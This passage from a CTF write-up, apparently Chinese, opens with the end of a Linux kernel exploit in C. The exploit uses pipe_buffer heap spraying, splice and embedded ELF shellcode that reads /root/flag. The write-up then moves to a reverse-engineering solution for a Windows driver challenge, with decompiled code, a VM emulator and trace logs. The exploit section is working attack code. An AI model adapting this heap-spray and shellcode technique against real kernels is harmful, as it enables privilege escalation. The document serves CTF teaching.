*(uint64_t*)&tmp[j]+=0x1000;
break;
}
}
if (pointer_found) {
break;
}
}
printf("heap_pointer:0x%llx,offset:0x%llx,pipe_idx:0x%llxn",heap_pointer&0xfffffffffffff000,offset,pipe_idx);
close(pipe_fd[pipe_idx][0]);
close(pipe_fd[pipe_idx][1]);
int page_spray_pipe_idx[0x10][2];
for(int i=0;i<0x1;i++)
{
if(pipe(page_spray_pipe_idx[i])<0)
{
perror("create pipe");
exit(0);
}
}
for(int i=0;i<0x1;i++)
{
write(page_spray_pipe_idx[i][1],tmp,0xfff);
}
usleep(100000);
// prepare_pgv_system();
// prepare_pgv_pages();
usleep(100000);
//free 1/2 pipe page
for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
if(i!=pipe_idx)
{
// if(i%2!=0)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
}
}
usleep(100000);
int pipe_cnt = 0x180;
int pipe_fd2[pipe_cnt][2];
for (int i = 0; i < pipe_cnt; ++i) {
if (pipe(pipe_fd2[i]) < 0) {
perror("create pipe");
exit(0);
}
}
//spray pipe_buffer to 1/2 pipe page
for(int i = 0; i < pipe_cnt; i++){
{
if (fcntl(pipe_fd2[i][1], F_SETPIPE_SZ, 0x1000 * 16) < 0) {
perror("resize pipe");
exit(0);
}
}
}
usleep(10000);
//free another 1/2 pipe page
// for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
// if(i!=pipe_idx)
// {
// if(i%2==0)
// {
// close(pipe_fd[i][0]);
// close(pipe_fd[i][1]);
// }
// }
// }
//write pages to another 1/2 pipe page and splice
size_t zero=0;
size_t flag_pointer = (heap_pointer&0xfffffffffffff000)+0x40038;
heap_pointer|=0x10;
for(int i = 0; i < pipe_cnt; i++){
// if(i%2==0)
{
write(pipe_fd2[i][1],&zero,8);
write(pipe_fd2[i][1],&heap_pointer,8);
write(pipe_fd2[i][1],&flag_pointer,8);
write(pipe_fd2[i][1],tmp,0x1000-0x18);
}
// if(i%2!=0)
{
size_t offset=0;
ssize_t nbytes = splice(file_fd, &offset, pipe_fd2[i][1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return-1;
}
if (nbytes == 0) {
fprintf(stderr, "short splicen");
return-1;
}
}
}
send_broadcast_mail(fd[0], VICTIM_ID, buf, 0x400);
// unsigned char elfcode[] = {
// /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
// 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
// 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
// 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
// 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
// 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
// 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
// 0x48, 0xbf, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x57, 0x48,
// 0x89, 0xe7, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x48, 0x83, 0xc0, 0x02,
// 0x0f, 0x05, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc2, 0x00, 0x01,
// 0x00, 0x00, 0x48, 0x31, 0xc0, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00,
// 0xbf, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00,
// };
unsignedchar elfcode[] = {
/*0x7f,*/0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xE5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x48, 0xB8, 0x2F, 0x72,
0x6F, 0x6F, 0x74, 0x2F, 0x66, 0x6C, 0x50, 0x48, 0x89, 0xE7, 0x31, 0xD2, 0x31, 0xF6, 0x6A, 0x02,
0x58, 0x0F, 0x05, 0x31, 0xC0, 0x6A, 0x03, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01, 0x01, 0x01, 0x01,
0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x0F, 0x05, 0x6A, 0x01, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01,
0x01, 0x01, 0x01, 0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x6A, 0x01, 0x58, 0x0F, 0x05, 0x00, 0x00,
0x2E, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2E, 0x73, 0x68, 0x65, 0x6C, 0x6C,
0x63, 0x6F, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
for(int i=0;i<pipe_cnt;i++)
{
write(pipe_fd2[i][1], elfcode, sizeof(elfcode));
}
system("exit");
usleep(10000);
// getchar();
// read(0, buf, 0x10);
puts("[+] EXP END.");
return0;
}
Reverse
gettingWiser
exe程序分析
程序中存在若干除0异常,导致ida不能正常反编译伪代码,为此,我们应对的策略是nop,如下图所示,通过nop可以IDA成功反编译出伪代码。
之后,边调试边猜测函数功能边逆向,能把函数名恢复个大概,逆向出的main函数结果如下:
int __fastcall main(int argc, constchar **argv, constchar **envp)
{
const WCHAR *ntdll_dll_string; // rax
const WCHAR *v4; // rdx
LPCSTR v6; // rax
const CHAR *str_NtLoadDriver; // rax
const CHAR *str_NtUnloadDriver; // rax
const WCHAR *str_MyDevice; // rax
void *v10; // rax
__int64 str_error; // rax
__int64 v12; // rax
__int64 v13; // rax
__int64 str_Correct; // rax
char v15; // [rsp+40h] [rbp-98h] BYREF
char DestinationString[19]; // [rsp+41h] [rbp-97h] BYREF
DWORD LastError; // [rsp+54h] [rbp-84h]
int v18; // [rsp+58h] [rbp-80h]
HANDLE hDevice; // [rsp+60h] [rbp-78h]
FARPROC RtlInitUnicodeString; // [rsp+68h] [rbp-70h]
FARPROC addr_NtLoadDriver; // [rsp+70h] [rbp-68h]
FARPROC addr_NtUnloadDriver; // [rsp+78h] [rbp-60h]
int inited; // [rsp+80h] [rbp-58h]
int v24; // [rsp+84h] [rbp-54h]
DWORD nInBufferSize[2]; // [rsp+88h] [rbp-50h]
DWORD BytesReturned; // [rsp+90h] [rbp-48h] BYREF
char v27[16]; // [rsp+98h] [rbp-40h] BYREF
char input[32]; // [rsp+A8h] [rbp-30h] BYREF
inited = init_dec_some();
memset(&v15, 0, sizeof(v15));
ntdll_dll_string = j_wchar_xor_memcpy_ntdll_dll();
*&DestinationString[7] = GetModuleHandleW(ntdll_dll_string);
if ( !*&DestinationString[7] )
return-1;
memset(DestinationString, 0, 1ui64);
j_wchar_xoe_memcpyRtlInitUnicodeString(DestinationString, v4);
RtlInitUnicodeString = GetProcAddress(*&DestinationString[7], v6);
memset(&DestinationString[1], 0, sizeof(char));
str_NtLoadDriver = j_wchar_xor_memcpy_NtLoadDriver();
addr_NtLoadDriver = GetProcAddress(*&DestinationString[7], str_NtLoadDriver);
memset(&DestinationString[2], 0, sizeof(char));
str_NtUnloadDriver = j_wchar_xor_memcpy_NtUnloadDriver();
addr_NtUnloadDriver = GetProcAddress(*&DestinationString[7], str_NtUnloadDriver);
if ( !RtlInitUnicodeString || !addr_NtLoadDriver || !addr_NtUnloadDriver )
return-1;
(RtlInitUnicodeString)(v27, L"\Registry\Machine\System\CurrentControlSet\Services\hypervisor");
v24 = (addr_NtLoadDriver)(v27);
memset(&DestinationString[3], 0, sizeof(char));
str_MyDevice = j_wchar_xor_memcpy_MyDevice(); // \.MyDevice
hDevice = CreateFileW(str_MyDevice, 0x40000000u, 0, 0i64, 3u, 0x80u, 0i64);
if ( hDevice == -1i64 )
return1;
string::clearn(input);
string::input(std::cin, input);
BytesReturned = 0;
*nInBufferSize = string::length(input) + 1;
v10 = return_thiss(input);
*&DestinationString[15] = DeviceIoControl(hDevice, 0x222000u, v10, nInBufferSize[0], 0i64, 0, &BytesReturned, 0i64);
if ( *&DestinationString[15] )
{
memset(&DestinationString[5], 0, sizeof(char));
str_Correct = j_wchar_xor_memcpy_Correct();
string::out(std::cout, str_Correct);
}
else
{
memset(&DestinationString[4], 0, sizeof(char));
LastError = GetLastError();
str_error = j_wchar_xor_memcpy_error(&DestinationString[4]);
v12 = string::out(std::cerr, str_error);
v13 = std::ostream::operator<<(v12, LastError);
string::out(v13, L"n");
}
CloseHandle(hDevice);
(addr_NtUnloadDriver)(v27);
v18 = 0;
string::clearn_(input);
return v18;
}
对于init_dec_some函数,其功能是从内存中解密出 b0is.sys驱动并进行加载。00000001400040C0地址处的函数就是在对保存驱动的内存空间进行解密。为了方便调试与进一步的逆向分析,需要把驱动解密出来,并记为 b0is.sys文件。
接下来,继续分析main函数,剩下的功能其实就是从标准输入流中获取了数据,之后把数据发送给了b0is.sys文件进行了输入的判断,如果判断成功,则代表输入即为flag,反之,则error。
b0is.sys驱动分析
下面分析的重点即为 b0is.sys,关键函数在 00000001400011E0地址处的函数:
__int64 __fastcall HandleCustomIoctl_222000(__int64 a1, IRP *Irp)
{
struct _IO_STACK_LOCATION *CurrentStackLocation;// rcx
char *flag; // rbx
bool v4; // al
unsignedint Status; // [rsp+20h] [rbp-18h]
CurrentStackLocation = Irp->Tail.Overlay.CurrentStackLocation;
Status = 0xC0000010;
if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 0x222000 )
{
if ( CurrentStackLocation->Parameters.Create.Options )
{
flag = (char *)Irp->AssociatedIrp.MasterIrp;
v4 = *flag == 97
&& compare1(flag + 1)
&& compare2(flag + 1, (int *)(flag + 33))
&& compare3((__int64 *)(flag + 9), (int *)(flag + 41))
&& compare4((__int64 *)(flag + 17), (int *)(flag + 49))
&& compare5(flag + 25, flag + 57);
Status = !v4 ? 0xC000000D : 0;
}
else
{
Status = 0xC000000D;
}
}
Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;
IofCompleteRequest(Irp, 0);
return Status;
}
根据上方代码可知,flag长度应该有65位,并且输入的flag需要通过 5个函数的校验才行。其中,compare2 ~ compare5都是 无魔改的 blowfish加密,并且密钥取自flag的第1~32字节。而compare1像是一个vm虚拟机,通过解compare1可以得到flag的第 1~32字节。
解 vm 与 blowfish
重点就是,解compare1:
__int64 vm()
{
char v0; // r15
__int64 n4; // rax
unsigned __int64 n0x20_6; // rdi
unsigned __int64 i; // rbp
unsigned __int64 v4; // r14
__int64 n4_3; // r13
unsigned __int64 n0x20; // rsi
__int64 n4_1; // r12
__int64 oper; // rax
unsigned __int64 start_and_end; // rbx
unsigned __int64 n0x20_1; // rcx
unsigned __int64 n0x20_2; // rdx
unsigned __int64 n0x20_3; // rax
__int64 v13; // r8
unsigned __int64 n0x20_5; // rdx
unsigned __int64 v16; // [rsp+20h] [rbp-148h]
_QWORD v17[32]; // [rsp+30h] [rbp-138h] BYREF
v16 = 0;
v0 = 0;
n4 = N_A8;
n0x20_6 = 0;
for ( i = 0; (unsigned __int64)N_A8 >= 4; n4 = N_A8 )
{
v4 = qword_140005008[n4];
n4_3 = n4 - 3;
n0x20 = what_globol[n4];
n4_1 = n4 - 4;
oper = box[n4 - 4];
start_and_end = box[n4_3];
N_A8 = n4_1;
if ( oper == 1 )
{
if ( start_and_end >= 0xFFFFFFFF )
{
if ( start_and_end > 0xFFFFFFFF )
{
i = -1;
LODWORD(what_globol[0]) = 8;
}
}
else
{
i = 0xFFFFFFFFLL;
LODWORD(what_globol[0]) = 4;
}
box[n4_1] = (v4 + start_and_end + connect(n0x20)) % i;
}
else
{
if ( oper != 2 )
{
if ( oper == 4 )
{
if ( v0 )
{
v0 = 0;
j__memset(v17, 0, sizeof(v17));
n0x20_1 = start_and_end;
if ( start_and_end < n0x20 )
{
do
{
if ( n0x20_1 >= 0x20 )
break;
n0x20_2 = n0x20_1;
n0x20_3 = n0x20_1 + (v4 >> 8) - start_and_end;
v13 = n0x20_3 >= 0x20 ? globalflag[n0x20_2] : globalflag[n0x20_3];
++n0x20_1;
v17[n0x20_2] = v13;
}
while ( n0x20_1 < n0x20 );
while ( start_and_end < n0x20 && start_and_end < 0x20 )
{
globalflag[start_and_end] = v17[start_and_end];
++start_and_end;
}
}
for ( n0x20_5 = n0x20_6 >> 8; n0x20_5 < (unsigned __int8)n0x20_6; ++n0x20_5 )
{
if ( n0x20_5 >= 0x20 )
break;
globalflag[n0x20_5] = (v16 & (255LL << (8 * ((unsigned __int8)n0x20_6 - (unsigned __int8)n0x20_5) - 8))) >> (8 * ((unsigned __int8)n0x20_6 - (unsigned __int8)n0x20_5) - 8);
}
}
else
{
v16 = v4;
v0 = 1;
n0x20_6 = n0x20 | (start_and_end << 8);
}
}
continue;
}
box[n4_1] = v4 ^ n0x20 ^ connect(start_and_end);
}
N_A8 = n4_3;
}
return0;
}
我们直接把这个函数当成vm来做就行,下面是我的vm解析器 (有点简陋)
#include<stdio.h>
#include<cstring>
#include"IDA.h"
__int64 globalflag[32] = { 0x30,0x30,0x31,0x31,0x32,0x32,0x33,0x33,0x34,0x34,0x35,0x35,0x36,0x36,0x37,0x37,0x38,0x38,0x39,0x39,0x61,0x61,0x62,0x62,0x63,0x63,0x64,0x64,0x65,0x65,0x66,0x66 };
//__int64 globalflag[34] = { 0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30, };
unsignedlonglong what_global[] = { 0x0000000000000004, 0x0000000000000000, 0x0000000000000004, 0x0000000000000018,
0x0000000000000020, 0x0000000000001018, 0x0000000000000004, 0x0000000000000010,
0x0000000000000018, 0x0000000000000002, 0x0000000000001018, 0x0000000000000000,
0x0000000000000001, 0x0CCCCCCCCCCCCCCC, 0x0000000000001820, 0x0000000000000000,
0x0000000000000004, 0x0000000000000018, 0x0000000000000020, 0x0000000000001018,
0x0000000000000004, 0x0000000000000010, 0x0000000000000018, 0x0000000000000002,
0x0000000000001018, 0x0000000000000000, 0x0000000000000001, 0x0CCCCCCCCCCCCCCC,
0x0000000000001820, 0x0000000000000000, 0x0000000000000004, 0x0000000000000008,
0x0000000000000010, 0x0000000000000008, 0x0000000000000004, 0x0000000000000000,
0x0000000000000008, 0x0000000000000002, 0x0000000000000008, 0x0000000000000000,
0x0000000000000001, 0xAAAAAAAAAAAAAAAA, 0x0000000000000810, 0x0000000000000000,
0x0000000000000004, 0x0000000000000008, 0x0000000000000010, 0x0000000000000008,
0x0000000000000004, 0x0000000000000000, 0x0000000000000008, 0x0000000000000002,
0x0000000000000008, 0x0000000000000000, 0x0000000000000001, 0xAAAAAAAAAAAAAAAA,
0x0000000000000810, 0x0000000000000000, 0x0000000000000004, 0x000000000000001C,
0x0000000000000020, 0x000000000000181C, 0x0000000000000004, 0x0000000000000018,
0x000000000000001C, 0x0000000000000002, 0x000000000000181C, 0x0000000000000000,
0x0000000000000001, 0x00000000DDDDDDDD, 0x0000000000001C20, 0x0000000000000000,
0x0000000000000004, 0x000000000000001C, 0x0000000000000020, 0x000000000000181C,
0x0000000000000004, 0x0000000000000018, 0x000000000000001C, 0x0000000000000002,
0x000000000000181C, 0x0000000000000000, 0x0000000000000001, 0x00000000DDDDDDDD,
0x0000000000001C20, 0x0000000000000000, 0x0000000000000004, 0x0000000000000014,
0x0000000000000018, 0x0000000000001014, 0x0000000000000004, 0x0000000000000010,
0x0000000000000014, 0x0000000000000002, 0x0000000000001014, 0x0000000000000000,
0x0000000000000001, 0x00000000CCCCCCCC, 0x0000000000001418, 0x0000000000000000,
0x0000000000000004, 0x0000000000000014, 0x0000000000000018, 0x0000000000001014,
0x0000000000000004, 0x0000000000000010, 0x0000000000000014, 0x0000000000000002,
0x0000000000001014, 0x0000000000000000, 0x0000000000000001, 0x00000000CCCCCCCC,
0x0000000000001418, 0x0000000000000000, 0x0000000000000004, 0x000000000000000C,
0x0000000000000010, 0x000000000000080C, 0x0000000000000004, 0x0000000000000008,
0x000000000000000C, 0x0000000000000002, 0x000000000000080C, 0x0000000000000000,
0x0000000000000001, 0x00000000BBBBBBBB, 0x0000000000000C10, 0x0000000000000000,
0x0000000000000004, 0x000000000000000C, 0x0000000000000010, 0x000000000000080C,
0x0000000000000004, 0x0000000000000008, 0x000000000000000C, 0x0000000000000002,
0x000000000000080C, 0x0000000000000000, 0x0000000000000001, 0x00000000BBBBBBBB,
0x0000000000000C10, 0x0000000000000000, 0x0000000000000004, 0x0000000000000004,
0x0000000000000008, 0x0000000000000004, 0x0000000000000004, 0x0000000000000000,
0x0000000000000004, 0x0000000000000002, 0x0000000000000004, 0x0000000000000000,
0x0000000000000001, 0x00000000AAAAAAAA, 0x0000000000000408, 0x0000000000000000,
0x0000000000000004, 0x0000000000000004, 0x0000000000000008, 0x0000000000000004,
0x0000000000000004, 0x0000000000000000, 0x0000000000000004, 0x0000000000000002,
0x0000000000000004, 0x0000000000000000, 0x0000000000000001, 0x00000000AAAAAAAA,
0x0000000000000408, 0x0000000000000000, 0x00000000000000A8, 0x0000000000000000 };
unsignedlonglong cip[32] = {
0x000000000000005C, 0x000000000000007F, 0x00000000000000CA, 0x00000000000000BE,
0x0000000000000004, 0x00000000000000FA, 0x00000000000000A0, 0x00000000000000DD,
0x00000000000000B2, 0x000000000000007A, 0x00000000000000AF, 0x00000000000000DB,
0x000000000000005E, 0x00000000000000A1, 0x0000000000000052, 0x000000000000002F,
0x0000000000000071, 0x00000000000000F2, 0x0000000000000091, 0x0000000000000003,
0x00000000000000C9, 0x00000000000000CC, 0x00000000000000E2, 0x000000000000005A,
0x000000000000004F, 0x000000000000000F, 0x0000000000000049, 0x0000000000000042,
0x0000000000000035, 0x0000000000000032, 0x000000000000003E, 0x000000000000004C
};
__int64 __fastcall connect(unsigned __int64 a1)
{
unsigned __int64 v1; // rdx
unsigned __int64 v2; // rax
unsigned __int64 v3; // rcx
__int64 v4; // rax
v1 = (unsigned __int8)a1;
v2 = 0i64;
v3 = a1 >> 8;
printf("x = int(flag[%lld : %lld])", v3, v1);
if (LODWORD(what_global[0]) == 4)
{
for (; v3 < v1; v2 = v4 << 8)
{
if (v3 >= 0x20)
break;
v4 = globalflag[v3++] | v2;
}
printf("[0x%llx]n", v2 >> 8);
return v2 >> 8;
}
else
{
while (v3 < v1 - 1 && v3 < 0x20)
v2 = (globalflag[v3++] | v2) << 8;
printf("[0x%llx]n", globalflag[v1 - 1] | v2);
return globalflag[v1 - 1] | v2;
}
}
__int64 what__func()
{
char v0; // r15
__int64 v1; // rax
unsigned __int64 v2; // rdi
unsigned __int64 i; // rbp
unsigned __int64 v4; // r14
__int64 v5; // r13
unsigned __int64 v6; // rsi
__int64 v7; // r12
__int64 v8; // rax
unsigned __int64 start_and_end; // rbx
unsigned __int64 v10; // rcx
unsigned __int64 v11; // rdx
unsigned __int64 v12; // rax
__int64 v13; // r8
unsigned __int64 j; // rdx
unsigned __int64 v16; // [rsp+20h] [rbp-148h]
__int64 v17[32]; // [rsp+30h] [rbp-138h] BYREF
v16 = 0i64;
v0 = 0;
v1 = what_global[170];
v2 = 0i64;
for (i = 0i64; what_global[170] >= 4ui64; v1 = what_global[170])
{
v4 = what_global[v1 + 1];
printf("v4 = what_global[%lld](0x%llx) n", v1 + 1, v4);
v5 = v1 - 3;
v6 = what_global[v1];
v7 = v1 - 4;
v8 = what_global[v1 - 2];
start_and_end = what_global[v5 + 2];
what_global[170] = v7;
if (v8 == 1)
{
if (start_and_end >= 0xFFFFFFFF)
{
if (start_and_end > 0xFFFFFFFF)
{
i = -1i64;
LODWORD(what_global[0]) = 8;
printf("what_global[0] = 8n");
}
}
else
{
i = 0xFFFFFFFFi64;
LODWORD(what_global[0]) = 4;
printf("what_global[0] = 4n");
}
what_global[v7 + 2] = (v4 + start_and_end + connect(v6)) % i;
/* if (what_global[v7 + 2] == 0x43434444) {
printf("0x%llxn", connect(v6));
printf("nopn");
}*/
printf("what_global[%lld] = (x + v4(0x%llx) + 0x%llx) mod 0x%llxn", v7 + 2, v4, start_and_end,i );
}
else
{
if (v8 != 2)
{
if (v8 == 4)
{
if (v0)
{
v0 = 0;
memset(v17, 0i64, 256i64);
v10 = start_and_end;
if (start_and_end < v6)
{
do
{
if (v10 >= 0x20)
break;
v11 = v10;
v12 = v10 + (v4 >> 8) - start_and_end;
v13 = v12 >= 0x20 ? globalflag[v11] : globalflag[v12];
++v10;
v17[v11] = v13;
if (v12 >= 0x20) {
printf("v17[%lld] = globalflag[%lld]n", v11, v11);
}
elseif (v12 < 0x20) {
printf("v17[%lld] = globalflag[%lld]n", v11, v12);
}
else {
printf("nonononononoo!!!!1n");
}
} while (v10 < v6);
while (start_and_end < v6 && start_and_end < 0x20)
{
globalflag[start_and_end] = v17[start_and_end];
printf("globalflag[%lld] = v17[%lld]n", start_and_end, start_and_end);
++start_and_end;
}
}
for (j = v2 >> 8; j < (unsigned __int8)v2; ++j)
{
if (j >= 0x20)
break;
globalflag[j] = (v16 & (255i64 << (8 * ((unsigned __int8)v2 - (unsigned __int8)j) - 8))) >> (8 * ((unsigned __int8)v2 - (unsigned __int8)j) - 8);
printf("globalflag[%lld] = 0x%llx[v16]n", j, globalflag[j]);
}
}
else
{
v16 = v4;
printf("v16 = v4n");
v0 = 1;
v2 = v6 | (start_and_end << 8);
}
}
continue;
}
what_global[v7 + 2] = v4 ^ v6 ^ connect(start_and_end);
printf("what_global[%lld] = 0x%llx ^ 0x%llx ^ xn", v7 + 2, v4, v6);
}
what_global[170] = v5;
//printf("what_global[170] = 0x%llxn", v5);
}
return0i64;
}
intmain(){
what__func();
for (int i = 0; i < 32; i++) {
printf("0x%x,", globalflag[i]);
}
return0;
}
运行后,可以拿到log:
v4 = what_global[169](0x0)
what_global[0] = 4
x = int(flag[4 : 8])[0x32323333]
what_global[166] = (x + v4(0x0) + 0xaaaaaaaa) mod 0xffffffff
v4 = what_global[166](0xdcdcdddd)
x = int(flag[0 : 4])[0x30303131]
what_global[163] = 0xdcdcdddd ^ 0x0 ^ x
v4 = what_global[163](0xecececec)
v16 = v4
v4 = what_global[159](0x4)
v17[4] = globalflag[0]
v17[5] = globalflag[1]
v17[6] = globalflag[2]
v17[7] = globalflag[3]
globalflag[4] = v17[4]
globalflag[5] = v17[5]
globalflag[6] = v17[6]
globalflag[7] = v17[7]
globalflag[0] = 0xec[v16]
globalflag[1] = 0xec[v16]
globalflag[2] = 0xec[v16]
globalflag[3] = 0xec[v16]
v4 = what_global[155](0x0)
what_global[0] = 4
x = int(flag[4 : 8])[0x30303131]
what_global[152] = (x + v4(0x0) + 0xaaaaaaaa) mod 0xffffffff
v4 = what_global[152](0xdadadbdb)
x = int(flag[0 : 4])[0xecececec]
what_global[149] = 0xdadadbdb ^ 0x0 ^ x
v4 = what_global[149](0x36363737)
v16 = v4
v4 = what_global[145](0x4)
v17[4] = globalflag[0]
v17[5] = globalflag[1]
v17[6] = globalflag[2]
v17[7] = globalflag[3]
globalflag[4] = v17[4]
globalflag[5] = v17[5]
globalflag[6] = v17[6]
globalflag[7] = v17[7]
globalflag[0] = 0x36[v16]
globalflag[1] = 0x36[v16]
globalflag[2] = 0x37[v16]
globalflag[3] = 0x37[v16]
v4 = what_global[141](0x0)
what_global[0] = 4
x = int(flag[12 : 16])[0x36363737]
what_global[138] = (x + v4(0x0) + 0xbbbbbbbb) mod 0xffffffff
v4 = what_global[138](0xf1f1f2f2)
x = int(flag[8 : 12])[0x34343535]
what_global[135] = 0xf1f1f2f2 ^ 0x0 ^ x
v4 = what_global[135](0xc5c5c7c7)
v16 = v4
v4 = what_global[131](0x80c)
v17[12] = globalflag[8]
v17[13] = globalflag[9]
v17[14] = globalflag[10]
v17[15] = globalflag[11]
globalflag[12] = v17[12]
globalflag[13] = v17[13]
globalflag[14] = v17[14]
globalflag[15] = v17[15]
globalflag[8] = 0xc5[v16]
globalflag[9] = 0xc5[v16]
globalflag[10] = 0xc7[v16]
globalflag[11] = 0xc7[v16]
v4 = what_global[127](0x0)
what_global[0] = 4
x = int(flag[12 : 16])[0x34343535]
what_global[124] = (x + v4(0x0) + 0xbbbbbbbb) mod 0xffffffff
v4 = what_global[124](0xefeff0f0)
x = int(flag[8 : 12])[0xc5c5c7c7]
what_global[121] = 0xefeff0f0 ^ 0x0 ^ x
v4 = what_global[121](0x2a2a3737)
v16 = v4
v4 = what_global[117](0x80c)
v17[12] = globalflag[8]
v17[13] = globalflag[9]
v17[14] = globalflag[10]
v17[15] = globalflag[11]
globalflag[12] = v17[12]
globalflag[13] = v17[13]
globalflag[14] = v17[14]
globalflag[15] = v17[15]
